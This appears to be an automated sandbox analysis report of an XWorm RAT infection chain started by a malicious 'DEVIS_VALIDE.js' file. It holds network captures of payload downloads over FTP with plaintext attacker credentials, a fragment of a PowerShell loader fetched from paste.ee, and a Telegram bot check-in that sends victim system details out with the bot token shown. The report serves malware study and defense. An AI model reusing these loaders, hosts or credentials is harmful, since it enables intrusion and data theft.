                                                                                                                                        Data Ascii: ADBAIAgEAUBQRZAAAgAgOAAyBAAAIAIHAlBAcAAHApBAbAMEAgAwQAQFAClRAA0HAzAwMAsHAdBQOA0CAxAgeA0CAhBgWA0CABBwWAQVIBAgYAwFA9BQNAQDAsAAMAQDA7BQXAkDAtAAMAoFAtAAUA4EAtAgSAgEAtAQQAoHAtAQYAsFApAAeAADAoAgYAwVQBAgYAwFA9BQNAQDAsAgNAIDA7BQXAkDAtAAMAoFAtAAUA4EAtAgSAgEAtAQQAo
                                                                                                                                        2024-11-20 10:06:28 UTC8000INData Raw: 5a 48 56 47 64 68 78 45 41 7a 52 32 62 6f 52 58 5a 4e 52 58 5a 48 42 51 5a 74 46 6d 54 66 52 58 5a 6e 42 77 62 6d 35 57 53 79 56 6d 59 74 56 57 54 41 4d 58 5a 77 6c 48 56 30 56 32 52 41 51 57 59 76 78 45 41 35 78 6d 59 74 56 32 63 7a 46 45 41 75 6c 57 59 74 39 47 52 30 35 57 5a 79 4a 58 64 44 39 46 64 6c 64 47 41 75 6c 57 59 74 39 47 52 77 42 58 51 41 38 6d 5a 75 6c 45 5a 76 68 47 64 6c 31 45 41 75 39 57 61 30 4e 57 5a 73 5a 57 5a 53 35 53 62 6c 52 33 63 35 4e 46 41 6e 35 57 61 79 52 33 55 30 59 54 5a 7a 46 6d 51 76 52 46 41 6c 5a 58 59 54 42 77 5a 6c 42 6e 53 66 52 58 5a 6e 42 41 64 68 31 6d 63 76 5a 55 5a 6e 46 57 62 4a 42 51 5a 6e 46 57 62 4a 64 58 59 79 52 45 41 30 6c 6d 62 56 4e 33 59 70 68 47 63 68 4a 33 52 41 34 57 5a 6c 4a 33 59 54 31 32 62 79 5a
                                                                                                                                        Data Ascii: ZHVGdhxEAzR2boRXZNRXZHBQZtFmTfRXZnBwbm5WSyVmYtVWTAMXZwlHV0V2RAQWYvxEA5xmYtV2czFEAulWYt9GR05WZyJXdD9FdldGAulWYt9GRwBXQA8mZulEZvhGdl1EAu9Wa0NWZsZWZS5SblR3c5NFAn5WayR3U0YTZzFmQvRFAlZXYTBwZlBnSfRXZnBAdh1mcvZUZnFWbJBQZnFWbJdXYyREA0lmbVN3YphGchJ3RA4WZlJ3YT12byZ
                                                                                                                                        2024-11-20 10:06:28 UTC8000INData Raw: 42 41 55 41 41 41 41 41 41 59 6b 41 41 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 41 41 46 6c 42 67 43 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 41 45 78 2f 41 6f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 4b 73 50 41 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 41 51 41 75 43 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 41 41 77 45 41 6f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 6f 41 41 41 41 41 41 41 6f 41 41 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 41 66 67 46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 53 41 41 43 6f 77 79 41 45 66 41 41 42 67 41 4b 73 4b 41 76 48 41 51 41 4d 51 43 6f 42 51 78 42 41 45 41 43 6b
                                                                                                                                        Data Ascii: BAUAAAAAAYkAABAAAAAAAAAAAAAAAEAAAAAAFlBgCAAAAAAAAAAAAAAABAAAAAEx/AoAAAAAAAAAAAAAAAQAAAAAAKsPABAAAAAAAAAAAAAAAEAAAAAQAuCQAAAAAAAAAAAAAAAABAAAAAAwEAoAAAAAAAAAAAAAAAoAAAAAAAoAABAAAAAAAAAAAAAAAEAAAfgFAAAAAAAAAAAAAAAAABAAAASAACowyAEfAABgAKsKAvHAQAMQCoBQxBAEACk
                                                                                                                                        2024-11-20 10:06:28 UTC8000INData Raw: 47 41 41 42 41 43 41 51 64 41 6b 44 41 4e 41 41 41 42 6f 41 41 51 45 67 41 41 45 48 41 35 41 51 52 41 41 41 41 31 44 41 41 42 4d 41 41 5a 42 51 4c 41 30 41 41 47 43 67 37 41 41 52 41 41 41 77 56 41 30 43 41 4e 41 67 68 41 45 4f 41 41 41 51 41 41 59 46 41 74 41 51 44 41 59 49 41 4c 44 41 41 42 45 41 41 55 42 51 4c 41 30 41 41 47 43 51 76 41 41 51 41 42 41 67 55 41 6f 43 41 4e 41 67 68 41 55 4c 41 51 45 41 41 41 41 45 41 6c 41 51 44 41 59 49 41 74 43 41 45 41 45 41 41 2b 41 51 4a 41 30 41 41 47 43 51 6f 41 41 41 41 42 41 77 4c 41 41 43 41 4e 41 67 68 41 67 4a 41 41 41 51 41 41 6f 42 41 56 41 51 44 41 59 49 41 4c 43 41 45 41 45 41 41 54 41 51 46 41 30 41 41 47 43 51 67 41 41 41 41 42 41 51 45 41 59 41 41 4e 41 41 41 41 67 48 41 51 41 51 41 41 38 41 41 46 41
                                                                                                                                        Data Ascii: GAABACAQdAkDANAAABoAAQEgAAEHA5AQRAAAA1DAABMAAZBQLA0AAGCg7AARAAAwVA0CANAghAEOAAAQAAYFAtAQDAYIALDAABEAAUBQLA0AAGCQvAAQABAgUAoCANAghAULAQEAAAAEAlAQDAYIAtCAEAEAA+AQJA0AAGCQoAAAABAwLAACANAghAgJAAAQAAoBAVAQDAYIALCAEAEAATAQFA0AAGCQgAAAABAQEAYAANAAAAgHAQAQAA8AAFA
                                                                                                                                        2024-11-20 10:06:28 UTC8000INData Raw: 56 71 6f 41 41 41 63 42 4b 43 34 68 4b 45 41 41 41 70 41 59 44 66 51 41 41 41 67 43 67 4b 41 41 41 6b 37 48 42 41 41 77 4a 41 61 41 41 41 45 33 63 47 41 41 41 45 5a 67 2f 55 34 59 41 41 41 67 4b 4f 45 67 4a 30 44 67 4d 41 41 51 41 41 41 67 4b 4d 41 77 32 4a 41 67 30 41 41 41 41 41 41 41 41 4b 41 51 78 38 42 51 53 41 49 51 41 41 41 67 4b 4f 41 41 4a 68 41 77 41 41 41 41 41 41 51 54 41 41 41 41 41 71 41 67 33 4b 41 41 41 6c 67 53 44 4b 41 41 41 6a 67 53 4a 4f 34 74 43 41 41 41 4a 6f 59 68 4a 4b 41 41 41 51 6a 43 42 52 6f 41 41 41 34 38 62 58 51 51 45 4b 41 41 41 6a 2f 6d 46 45 45 68 43 41 41 67 34 76 5a 42 42 52 6f 41 41 41 45 2b 62 58 51 51 45 4b 41 41 41 67 2f 32 42 45 45 42 42 54 6f 41 41 41 38 39 63 41 34 74 43 41 41 51 4a 6f 6f 41 41 41 4d 43 4b 4d 34
                                                                                                                                        Data Ascii: VqoAAAcBKC4hKEAAApAYDfQAAAgCgKAAAk7HBAAwJAaAAAE3cGAAAEZg/U4YAAAgKOEgJ0DgMAAQAAAgKMAw2JAg0AAAAAAAAKAQx8BQSAIQAAAgKOAAJhAwAAAAAAQTAAAAAqAg3KAAAlgSDKAAAjgSJO4tCAAAJoYhJKAAAQjCBRoAAA48bXQQEKAAAj/mFEEhCAAg4vZBBRoAAAE+bXQQEKAAAg/2BEEBBToAAA89cA4tCAAQJooAAAMCKM4
                                                                                                                                        2024-11-20 10:06:28 UTC6705INData Raw: 33 4b 41 41 41 6c 67 43 42 41 41 51 46 41 61 52 44 4b 41 41 41 6a 67 53 4a 55 34 4e 33 4b 41 41 41 30 38 6d 42 47 77 69 42 4b 34 74 4a 4b 41 41 41 2f 39 47 46 4b 41 41 41 45 4e 6e 42 41 41 51 4b 47 34 50 46 57 63 72 43 41 41 77 64 76 5a 67 46 4b 41 41 41 79 39 6d 42 45 41 41 41 57 34 6e 4a 4b 41 41 41 2b 39 32 46 56 51 41 41 41 59 68 66 4b 41 41 41 32 39 32 74 4f 65 67 46 48 59 67 43 41 41 67 64 76 64 72 6a 49 59 42 43 47 77 67 42 41 41 51 5a 6f 6f 41 41 41 34 42 4b 77 42 67 42 4e 4c 6e 43 41 41 51 66 6f 63 72 6a 48 73 67 42 41 41 51 62 6f 59 41 41 41 55 47 4b 43 6f 67 43 41 41 77 50 7a 42 41 41 41 59 5a 4f 45 41 41 41 56 34 6e 43 41 41 41 66 6f 55 67 45 45 45 52 42 54 59 68 43 41 41 77 65 6f 51 51 45 45 4d 42 42 41 41 41 48 2b 46 42 41 41 6f 42 41 41 41
                                                                                                                                        Data Ascii: 3KAAAlgCBAAQFAaRDKAAAjgSJU4N3KAAA08mBGwiBK4tJKAAA/9GFKAAAENnBAAQKG4PFWcrCAAwdvZgFKAAAy9mBEAAAW4nJKAAA+92FVQAAAYhfKAAA292tOegFHYgCAAgdvdrjIYBCGwgBAAQZooAAA4BKwBgBNLnCAAQfocrjHsgBAAQboYAAAUGKCogCAAwPzBAAAYZOEAAAV4nCAAAfoUgEEERBTYhCAAweoQQEEMBBAAAH+FBAAoBAAA


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        4192.168.2.449745188.114.97.34436536C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:29 UTC43OUTGET /d/aGYNy/0 HTTP/1.1
                                                                                                                                        Host: paste.ee
                                                                                                                                        2024-11-20 10:06:30 UTC1225INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:30 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Content-Length: 597
                                                                                                                                        Connection: close
                                                                                                                                        Cache-Control: max-age=2592000
                                                                                                                                        strict-transport-security: max-age=63072000
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1; mode=block
                                                                                                                                        content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8w05kR84daDmQsIK9zTd9xuetvv%2BkCGP0uhEpN%2FcQT6%2FZJ6mr6OW2NYtLW5qtXboyOdOMNKYekY4NoKODoeH9cD6DnkD0dbvJFZRQoRJrsq6afLuHUNFBVOQeg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a0ad2e5d43b5-EWR
                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                        2024-11-20 10:06:30 UTC190INData Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 36 31 30 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 37 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 37 37 33 39 39 37 26 63 77 6e 64 3d 32 32 35 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 64 63 30 32 39 30 36 30 30 33 61 61 63 31 63 37 26 74 73 3d 34 32 35 26 78 3d 30 22 0d 0a 0d 0a
                                                                                                                                        Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1610&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=681&delivery_rate=1773997&cwnd=225&unsent_bytes=0&cid=dc02906003aac1c7&ts=425&x=0"
                                                                                                                                        2024-11-20 10:06:30 UTC597INData Raw: 0a 24 58 6f 68 73 4b 20 3d 20 27 25 79 7a 58 56 4d 25 27 0a 24 47 54 77 52 45 20 3d 20 27 4e 68 71 49 4d 25 4c 74 64 50 59 25 27 0a 0a 24 7a 73 62 44 74 20 3d 20 27 43 3a 5c 57 69 6e 64 6f 77 73 5c 4d 69 63 72 6f 73 6f 66 74 2e 4e 45 54 5c 27 20 2b 20 27 46 72 61 6d 65 77 6f 72 6b 5c 76 34 2e 30 2e 33 30 33 31 39 5c 27 20 2b 20 24 58 6f 68 73 4b 3b 0a 0a 24 55 65 62 54 61 20 3d 20 27 e2 86 93 3a e2 86 93 27 3b 0a 24 58 4b 76 48 76 20 3d 20 27 41 27 3b 0a 0a 24 57 59 76 74 74 20 3d 20 27 25 71 6c 78 4b 50 25 27 2e 72 65 70 6c 61 63 65 28 20 24 55 65 62 54 61 2c 20 24 58 4b 76 48 76 20 29 3b 0a 5b 42 79 74 65 5b 5d 5d 20 24 6c 61 57 77 4a 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 20 24
                                                                                                                                        Data Ascii: $XohsK = '%yzXVM%'$GTwRE = 'NhqIM%LtdPY%'$zsbDt = 'C:\Windows\Microsoft.NET\' + 'Framework\v4.0.30319\' + $XohsK;$UebTa = ':';$XKvHv = 'A';$WYvtt = '%qlxKP%'.replace( $UebTa, $XKvHv );[Byte[]] $laWwJ = [System.Convert]::FromBase64String( $


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        5192.168.2.449746104.20.3.2354438080C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:32 UTC74OUTGET /raw/GF0ptUGb HTTP/1.1
                                                                                                                                        Host: pastebin.com
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:32 UTC391INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:32 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                        Connection: close
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1;mode=block
                                                                                                                                        cache-control: public, max-age=1801
                                                                                                                                        CF-Cache-Status: EXPIRED
                                                                                                                                        Last-Modified: Wed, 20 Nov 2024 10:06:32 GMT
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a0ba9e166a4e-EWR
                                                                                                                                        2024-11-20 10:06:32 UTC11INData Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a
                                                                                                                                        Data Ascii: 6false,
                                                                                                                                        2024-11-20 10:06:32 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                        Data Ascii: 0


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        6192.168.2.449747149.154.167.2204437624C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:38 UTC447OUTGET /bot6063212727:AAGxI15ihXd3ydfdlrCIMNDRzM08Ew5M1gY/sendMessage?chat_id=1188038887&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A1F61296E2D13B1021028%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20WG6__62%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1
                                                                                                                                        Host: api.telegram.org
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:38 UTC388INHTTP/1.1 200 OK
                                                                                                                                        Server: nginx/1.18.0
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:38 GMT
                                                                                                                                        Content-Type: application/json
                                                                                                                                        Content-Length: 466
                                                                                                                                        Connection: close
                                                                                                                                        Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                        Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                        Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                        2024-11-20 10:06:38 UTC466INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 31 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 36 33 32 31 32 37 32 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 79 58 77 6f 72 6d 52 61 74 5f 42 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 79 58 77 6f 72 6d 52 61 74 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 38 38 30 33 38 38 38 37 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 6f 6e 65 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 4c 55 43 4b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 6f 6e 65 79 4c 75 63 6b 30 30 37 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 30
                                                                                                                                        Data Ascii: {"ok":true,"result":{"message_id":9122,"from":{"id":6063212727,"is_bot":true,"first_name":"MyXwormRat_Bot","username":"MyXwormRatBot"},"chat":{"id":1188038887,"first_name":"Money","last_name":"LUCK","username":"MoneyLuck007","type":"private"},"date":17320


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        7192.168.2.449748104.20.3.2354432568C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:39 UTC74OUTGET /raw/GF0ptUGb HTTP/1.1
                                                                                                                                        Host: pastebin.com
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:39 UTC395INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:39 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                        Connection: close
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1;mode=block
                                                                                                                                        cache-control: public, max-age=1801
                                                                                                                                        CF-Cache-Status: HIT
                                                                                                                                        Age: 7
                                                                                                                                        Last-Modified: Wed, 20 Nov 2024 10:06:32 GMT
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a0e85a4980da-EWR
                                                                                                                                        2024-11-20 10:06:39 UTC11INData Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a
                                                                                                                                        Data Ascii: 6false,
                                                                                                                                        2024-11-20 10:06:39 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                        Data Ascii: 0


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        8192.168.2.449750104.20.3.2354431820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:47 UTC74OUTGET /raw/GF0ptUGb HTTP/1.1
                                                                                                                                        Host: pastebin.com
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:47 UTC396INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:47 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                        Connection: close
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1;mode=block
                                                                                                                                        cache-control: public, max-age=1801
                                                                                                                                        CF-Cache-Status: HIT
                                                                                                                                        Age: 15
                                                                                                                                        Last-Modified: Wed, 20 Nov 2024 10:06:32 GMT
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a11a084a42e9-EWR
                                                                                                                                        2024-11-20 10:06:47 UTC11INData Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a
                                                                                                                                        Data Ascii: 6false,
                                                                                                                                        2024-11-20 10:06:47 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                        Data Ascii: 0


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        9192.168.2.449752104.20.3.2354438700C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:55 UTC74OUTGET /raw/GF0ptUGb HTTP/1.1
                                                                                                                                        Host: pastebin.com
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:56 UTC396INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:56 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                        Connection: close
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1;mode=block
                                                                                                                                        cache-control: public, max-age=1801
                                                                                                                                        CF-Cache-Status: HIT
                                                                                                                                        Age: 24
                                                                                                                                        Last-Modified: Wed, 20 Nov 2024 10:06:32 GMT
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a150190e186d-EWR
                                                                                                                                        2024-11-20 10:06:56 UTC11INData Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a
                                                                                                                                        Data Ascii: 6false,
                                                                                                                                        2024-11-20 10:06:56 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                        Data Ascii: 0


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        10192.168.2.449780104.20.3.2354438224C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:07:07 UTC74OUTGET /raw/GF0ptUGb HTTP/1.1
                                                                                                                                        Host: pastebin.com
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:07:08 UTC396INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:07:08 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                        Connection: close
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1;mode=block
                                                                                                                                        cache-control: public, max-age=1801
                                                                                                                                        CF-Cache-Status: HIT
                                                                                                                                        Age: 36
                                                                                                                                        Last-Modified: Wed, 20 Nov 2024 10:06:32 GMT
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a19b6c4841d5-EWR
                                                                                                                                        2024-11-20 10:07:08 UTC11INData Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a
                                                                                                                                        Data Ascii: 6false,
                                                                                                                                        2024-11-20 10:07:08 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                        Data Ascii: 0


                                                                                                                                        FTP Packets

                                                                                                                                        TimestampSource PortDest PortSource IPDest IPCommands
                                                                                                                                        Nov 20, 2024 11:06:13.367064953 CET2149730191.252.83.213192.168.2.4220 "Servico de FTP da Locaweb"
                                                                                                                                        Nov 20, 2024 11:06:13.370867968 CET4973021192.168.2.4191.252.83.213USER desckvbrat1
                                                                                                                                        Nov 20, 2024 11:06:13.781352997 CET2149730191.252.83.213192.168.2.4331 Username ok, send password.
                                                                                                                                        Nov 20, 2024 11:06:13.781498909 CET4973021192.168.2.4191.252.83.213PASS fYudY1578@@@@@@
                                                                                                                                        Nov 20, 2024 11:06:14.006649971 CET2149730191.252.83.213192.168.2.4230 Login successful.
                                                                                                                                        Nov 20, 2024 11:06:14.230370998 CET2149730191.252.83.213192.168.2.4501 Invalid argument.
                                                                                                                                        Nov 20, 2024 11:06:14.230571985 CET4973021192.168.2.4191.252.83.213PWD
                                                                                                                                        Nov 20, 2024 11:06:14.451147079 CET2149730191.252.83.213192.168.2.4257 "/" is the current directory.
                                                                                                                                        Nov 20, 2024 11:06:14.451817989 CET4973021192.168.2.4191.252.83.213TYPE I
                                                                                                                                        Nov 20, 2024 11:06:14.674820900 CET2149730191.252.83.213192.168.2.4200 Type set to: Binary.
                                                                                                                                        Nov 20, 2024 11:06:14.675137043 CET4973021192.168.2.4191.252.83.213PASV
                                                                                                                                        Nov 20, 2024 11:06:14.899075031 CET2149730191.252.83.213192.168.2.4227 Entering passive mode (191,252,83,213,234,194).
                                                                                                                                        Nov 20, 2024 11:06:14.923094988 CET4973021192.168.2.4191.252.83.213RETR Upcrypter/02/DLL01.txt
                                                                                                                                        Nov 20, 2024 11:06:15.145421028 CET2149730191.252.83.213192.168.2.4150 File status okay. About to open data connection.
                                                                                                                                        Nov 20, 2024 11:06:15.545025110 CET2149730191.252.83.213192.168.2.4226 Transfer complete.
                                                                                                                                        Nov 20, 2024 11:06:22.303169966 CET2149733191.252.83.213192.168.2.4220 "Servico de FTP da Locaweb"
                                                                                                                                        Nov 20, 2024 11:06:22.303379059 CET4973321192.168.2.4191.252.83.213USER desckvbrat1
                                                                                                                                        Nov 20, 2024 11:06:22.523231983 CET2149733191.252.83.213192.168.2.4331 Username ok, send password.
                                                                                                                                        Nov 20, 2024 11:06:22.525357962 CET4973321192.168.2.4191.252.83.213PASS fYudY1578@@@@@@
                                                                                                                                        Nov 20, 2024 11:06:22.755460024 CET2149733191.252.83.213192.168.2.4230 Login successful.
                                                                                                                                        Nov 20, 2024 11:06:22.975476980 CET2149733191.252.83.213192.168.2.4501 Invalid argument.
                                                                                                                                        Nov 20, 2024 11:06:22.975707054 CET4973321192.168.2.4191.252.83.213PWD
                                                                                                                                        Nov 20, 2024 11:06:23.195601940 CET2149733191.252.83.213192.168.2.4257 "/" is the current directory.
                                                                                                                                        Nov 20, 2024 11:06:23.195755959 CET4973321192.168.2.4191.252.83.213TYPE I
                                                                                                                                        Nov 20, 2024 11:06:23.518193960 CET2149733191.252.83.213192.168.2.4200 Type set to: Binary.
                                                                                                                                        Nov 20, 2024 11:06:23.518307924 CET4973321192.168.2.4191.252.83.213PASV
                                                                                                                                        Nov 20, 2024 11:06:23.740792990 CET2149733191.252.83.213192.168.2.4227 Entering passive mode (191,252,83,213,238,36).
                                                                                                                                        Nov 20, 2024 11:06:23.750405073 CET4973321192.168.2.4191.252.83.213RETR Upcrypter/02/Rumpe.txt
                                                                                                                                        Nov 20, 2024 11:06:23.972691059 CET2149733191.252.83.213192.168.2.4150 File status okay. About to open data connection.
                                                                                                                                        Nov 20, 2024 11:06:24.359497070 CET2149733191.252.83.213192.168.2.4226 Transfer complete.
                                                                                                                                        Nov 20, 2024 11:06:28.369560957 CET4973321192.168.2.4191.252.83.213PASV
                                                                                                                                        Nov 20, 2024 11:06:28.758423090 CET2149733191.252.83.213192.168.2.4227 Entering passive mode (191,252,83,213,235,231).
                                                                                                                                        Nov 20, 2024 11:06:28.764200926 CET4973321192.168.2.4191.252.83.213RETR Upcrypter/02/Entry.txt
                                                                                                                                        Nov 20, 2024 11:06:28.987158060 CET2149733191.252.83.213192.168.2.4150 File status okay. About to open data connection.
                                                                                                                                        Nov 20, 2024 11:06:29.372277975 CET2149733191.252.83.213192.168.2.4226 Transfer complete.
                                                                                                                                        Nov 20, 2024 11:06:45.546591997 CET2149730191.252.83.213192.168.2.4421 Control connection timed out.

                                                                                                                                        Statistics

                                                                                                                                        CPU Usage

                                                                                                                                        Click to jump to process

                                                                                                                                        Memory Usage

                                                                                                                                        Click to jump to process

                                                                                                                                        High Level Behavior Distribution

                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                        Behavior

                                                                                                                                        Click to jump to process

                                                                                                                                        System Behavior

                                                                                                                                        General

                                                                                                                                        Target ID:0
                                                                                                                                        Start time:05:06:07
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\wscript.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js"
                                                                                                                                        Imagebase:0x7ff6730a0000
                                                                                                                                        File size:170'496 bytes
                                                                                                                                        MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:1
                                                                                                                                        Start time:05:06:08
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
